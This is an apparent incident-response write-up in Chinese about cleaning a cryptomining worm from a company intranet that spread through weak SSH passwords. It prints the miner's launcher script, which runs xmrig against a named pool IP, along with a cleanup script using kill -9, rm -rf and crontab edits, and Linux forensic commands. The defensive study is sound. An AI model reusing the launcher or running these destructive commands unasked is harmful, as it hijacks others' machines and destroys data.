前言
前几天公司的一台虚拟机CPU持续告警,IT周日发现了问题,后来发现是挖矿病毒并且已经在内网扩散了,安全小组立刻展开调查。因为网上文章对于挖矿在内网扩散怎么解决的思路很少,所以才有了下面这篇文章。
一、背景
周一上午IT部门反馈内部服务器疑似被攻击,攻击特征为cpu利用率非常高,几乎占满,怀疑被挖矿开始跟踪分析。
二、过程
2.1、确定是否为攻击
IT部门给了我一台ip为192.168.5.3的服务器让我先做初步的分析,登上去后。
首先通过top查看服务器,发现pid为1320,bash启动的程序cpu占用率高达4000%,进行查看。
先确定启动进程的文件位置为/mnt/.bash/
,然后kill -9
终止进程。
#下面的命令可以查看PID为1320的进程是由哪个文件启动的。 ls -l /proc/1320/exe lrwxrwxrwx 1 root root 0 Jan 25 09:40 /proc/1320/exe -> /mnt/.bash/.bash/bash (deleted) #这里的deleted表示启动的文件被删除了
查看目录下都有什么内容
[root@host2 ~]# ls a bash bash3 bash.pid c cron.d dir.dir h32 h64 run stak stak3 upd x z
查看了run文件的内容,其中内容如下,存在明显的挖矿的特征,确定为挖矿病毒
#!/bin/bash #下面的循环会删除服务器上所有cpu高于40%的服务,为自己的挖矿程序提供更多的cpu使用。 #ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid #do #kill -9 $procid #done proc=`nproc` ARCH=`uname -m` HIDE="xmrig" #根据不同的架构启动不同挖矿程序 if [ "$ARCH" == "i686" ]; then ./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 188.166.218.65:54 -a cn/r -k >>/dev/null & elif [ "$ARCH" == "x86_64" ]; then ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 188.166.218.65:54 -k >>/dev/null & fi echo $! > bash.pid
2.2、明确自己要干的事情
因为刚开始只拿到了一台服务器确定了问题,所以现在有两个重要的事情需要同时去做。
- 找到攻击的入口点并处理掉入口点的安全问题。
- 确认内网扩散的影响,内网扩散的手段,并删除内网扩散的挖矿病毒。
所以我就开始一边写删除挖矿病毒的临时脚本,一边开始看服务器的记录,找到入口程序。
下面我会将这两件事分开来讲,但是上面两件事情是同步去做的。
2.3、编写删除挖矿脚本的程序
- 为了彻底删除挖矿脚本,我们就要知道这个挖矿程序都干了什么事情。我先排查了定时任务,
crontab -e
编辑定时任务,刚发现挖矿程序在/mnt/.bash
,所以又去看了另外一台服务器发现了/mnt/.cache
所以可以确定这个定时任务就是挖矿病毒留下来的。使用脚本删除定时任务,需要修改
/var/spool/cron/或者/var/spool/cron/root这两个文件
(centos和ubuntu有所不同),因为我们的服务器大多数都是centos,所以我简单判断了一下操作系统版本。 - 后面来自其他部门的多次反馈,确定了挖矿程序主要放在
/mnt/.cache /mnt/.bash /tmp/.cache这三个目录下
,所以我们可以找到进程中哪些进程都是由这三个目录中的文件启动的就杀掉,所以就写好了下面的代码 - 删除挖矿程序
通过排查,发现这个挖矿程序很简单,我们只需要关注三点:
- 杀进程
- 删文件
- 删定时任务
这里贴出来自己最后的代码,虽然很简陋,甚至代码冗余,但是确实最快速解决问题的方法了。
#!/bin/bash DIR_PATH="/mnt/.cache" FILE_PATH="/mnt/.cache/upd" CRON_FILE="/var/spool/cron/root" #判断是不是ubuntu is_ubuntu=$(cat /proc/version | grep ubuntu | wc -l) if [[ is_ubuntu == 1 ]];then CRON_FILE="/var/spool/cron/crontabs/root" fi #杀进程 pid_num=$(ls -l /proc/*/exe 2>&1 | grep mnt/.bash | awk '{print $9}' | cut -f3 -d"/") if [ ! -z "$pid_num" ];then echo -e "3[31m正在kill隐藏进程,启动目录为/mnt/.bash3[0m" kill -9 $pid_num fi pid_num2=$(ls -l /proc/*/exe 2>&1 | grep mnt/.cache | awk '{print $9}' | cut -f3 -d"/") if [ ! -z "$pid_num2" ];then echo -e "3[31m正在kill隐藏进程,启动目录为/mnt/.cache3[0m" kill -9 $pid_num2 fi pid_num3=$(ls -l /proc/*/exe 2>&1 | grep tmp/.bash | awk '{print $9}' | cut -f3 -d"/") if [ ! -z "$pid_num3" ];then echo -e "3[31m正在kill隐藏进程,启动目录为/tmp/.bash3[0m" kill -9 $pid_num3 fi pid_num4=$(netstat -antlp | grep 206.81.29.251 | awk '{print $7}' | cut -f1 -d"/") if [ ! -z "$pid_num4" ];then echo -e "3[31m正在kill隐藏进程,netstat 为206.81.29.2513[0m" kill -9 $pid_num4 fi if [ -d "$DIR_PATH" ]; then if [ -x "$FILE_PATH" ]; then echo -e "3[31m该服务器已中挖矿病毒,开始清除 3[0m" #清空 crontab中的恶意启动项 sed -i '/.cache\/upd/d' $CRON_FILE #删除所有的文件 rm -rf /mnt/.cache/ cron_num=$(crontab -l | grep /mnt/.cache | wc -l) if [[ $cron_num == 0 ]];then echo -e "3[31mcrontab删除成功 3[0m" fi if [ ! -x "$FILE_PATH" ]; then echo -e "3[31m挖矿文件删除文件 3[0m" fi echo -e "3[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:3[0m" fi fi DIR2_PATH="/mnt/.bash" FILE2_PATH="/mnt/.bash/upd" if [ -d "$DIR2_PATH" ]; then if [ -x "$FILE2_PATH" ]; then echo -e "3[31m该服务器已中挖矿病毒,开始清除 3[0m" #清空 crontab中的恶意启动项 sed -i '/.bash\/upd/d' $CRON_FILE #删除所有的文件 rm -rf /mnt/.bash/ cron_num=$(crontab -l | grep /mnt/.bash | wc -l) if [[ $cron_num == 0 ]];then echo -e "3[31mcrontab删除成功 3[0m" fi if [ ! -x "$FILE2_PATH" ]; then echo -e "3[31m挖矿文件删除文件 3[0m" fi echo -e "3[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:3[0m" fi fi DIR3_PATH="/tmp/.bash" FILE3_PATH="/tmp/.bash/bash" if [ -d "$DIR3_PATH" ]; then if [ -x "$FILE3_PATH" ]; then echo -e "3[31m该服务器已中挖矿病毒,开始清除 3[0m" #清空 crontab中的恶意启动项 sed -i '/tmp\/.bash\/bash/d' $CRON_FILE #删除所有的文件 rm -rf /tmp/.bash/ cron_num=$(crontab -l | grep /tmp/.bash | wc -l) if [[ $cron_num == 0 ]];then echo -e "3[31mcrontab删除成功 3[0m" fi if [ ! -x "$FILE2_PATH" ]; then echo -e "3[31m挖矿文件删除文件 3[0m" fi echo -e "3[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:3[0m" fi fi
IT部门并不知道每台服务器和虚拟机的密码,我们虽然已经知道大部分都是弱口令的,但是也不知道那一台是什么样子,所以最好的方法就是通知到所有服务器的负责人,让他们自己去清除。
因为后续发现了挖矿程序内网扩散攻击成功的列表,所以最后使用批量下发脚本的程序去删除所有的挖矿程序,效果非常好,到第二天只剩下一台告警了。
下图为挖矿程序遗留的内网暴力破解成功的用户密码表。
下图为最后批量下发脚本的截图
2.4、查找入口点
入口点找了很久,因为有的服务器我们一时半会联系不到责任人,所以只能等着,等比人反馈问题给IT,IT反馈给我。
我们主要通过几个日志文件去做排查。
lastb > /home/lastb.log last > /home/last.log cat /var/log/secure > /home/secure.log
从刚开始拿到手的几台失陷的机器的特征可以判断内网是通过ssh弱口令来扩散的。因为失陷的几台服务器密码都为123456,admin123,并且日志中有大量登录失败的记录。
后来我们发现所有的登录爆破都来自于192.168.111.67,但是这台服务器一直找不到责任人,最后我通过暴力破解弱口令登上了这台服务器,并且发现了入侵者的攻击痕迹。在查找入口点的过程中,我画了简单地攻击拓扑图,来方便我来确定最后的入口点。
最后通过大量的日志可以确定攻击者是十二月份就登陆了我们的一台服务器(这台服务器外网可以连接,并且存在大量测试账号),而攻击者却没有使用这台服务器,而是使用192.168.111.67对整个内网发起了攻击。
但是当我们登录到入口点那台机器的时候,发现重要的日志已经被删除了,history记录也没有了,所以攻击者已经很难找到。
三、整改
每次恶意攻击事件的爆发都会暴露出企业安全存在的一些问题,于是我们针对此次攻击做出了必要的整改。
- 禁止内网服务器,虚拟机使用弱口令。禁止mysql使用弱口令。通过定期服务器弱口令扫描和大量的宣传来防止事情的再次发生。
- 确定外网可连接服务器的责任人,任何从此服务器弱口令相关的漏洞进来的问题,事后追责。
- 网络隔离
- 从此次问题发现我们主机部分都没有安装主机安全相关的软件,所以需要主机安全的加固
四、入侵排查整理
1. 定时任务排查
定时任务crontab是挖矿病毒都会用到的东西,所以定时任务一定要看。
crontab -l #列出所有的定时任务 crontab -r #删除所有的定时任务,可能会删除我们自己的配置信息,不推荐使用 crontab -e #编辑crontab文件
一些需要关注的定时任务文件
/var/spool/cron/* #centos的 /var/spool/cron/crontabs/* #ubuntu的 /var/spool/anacron/* /etc/crontab /etc/anacrontab #异步定时 /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/ /etc/cron.monthly/*
2. 用户密码
排查/etc/passwd
stat /etc/passwd #查看密码文件上一次修改的时间,如果最近被修改过,那就可能存在问题。 cat /etc/passwd | grep -v nologin #查看除了不可登录以外的用户都有哪些,有没有新增的 cat /etc/passwd | grep x:0 #查看哪些用户为root权限,有没有新增的 cat /etc/passwd | grep /bin/bash #查看哪些用户使用shell
3. 导出操作记录
如果攻击者没有删除造作记录,我们可以从操作记录中发现一些我们想要的东西
export HISTTIMEFORMAT="%F %T `whoami` " #设置history显示时间和用户名 history > /home/xxx/history.log
4. 日志
日志总是能发现一些蛛丝马迹,所以日志也同样重要。存放在/var/log
目录下的东西都认真看一下
/var/log/secure #记录安全相关的日志,重点看一下 /var/log/btmp #登陆失败的日志记录 lastb -f btmp-2020xxxx #可以查看过去的某个登录失败记录 /var/log/wtmp #登陆成功的日志记录 #wtmp和btmp只能使用 last和lastb命令查看,不能直接打开看内容的。 /var/log/yum.log #安装记录,我们可以看一下最近有没有安装一些特殊的依赖库什么的
5. 进程排查
top 命令可以直接清除看到实施情况。 ps aux --sort=pcpu | head -10 #查看cpu占用率前十的进程,有时候可以发现top发现不了的东西 ls -l /proc/*/exe | grep xxx #如果我们知道恶意程序的启动文件大致位置,可以使用这个发现无文件的恶意进程
6. 域名hosts
有一些挖矿程序会修改 /etc/hosts
文件,请看一下其中内容是否被更改过
前两天在另外的项目组上发现的某个挖矿病毒就会修改hosts文件
这是从那台服务器上提取的一些恶意的配置内容
0.0.0.0 aliyun.one 0.0.0.0 lsd.systemten.org 0.0.0.0 pastebin.com 0.0.0.0 pm.cpuminerpool.com 0.0.0.0 systemten.org
7.网络连接
有时候我们通过网络连接发现有些IP很可以,就可以通过ip找到进程发现问题。
netstat -antlp | grep x.x.x.x | awk '{print $7}' | cut -f1 -d"/" #获取存在某ip的进程id号
转自:先知社区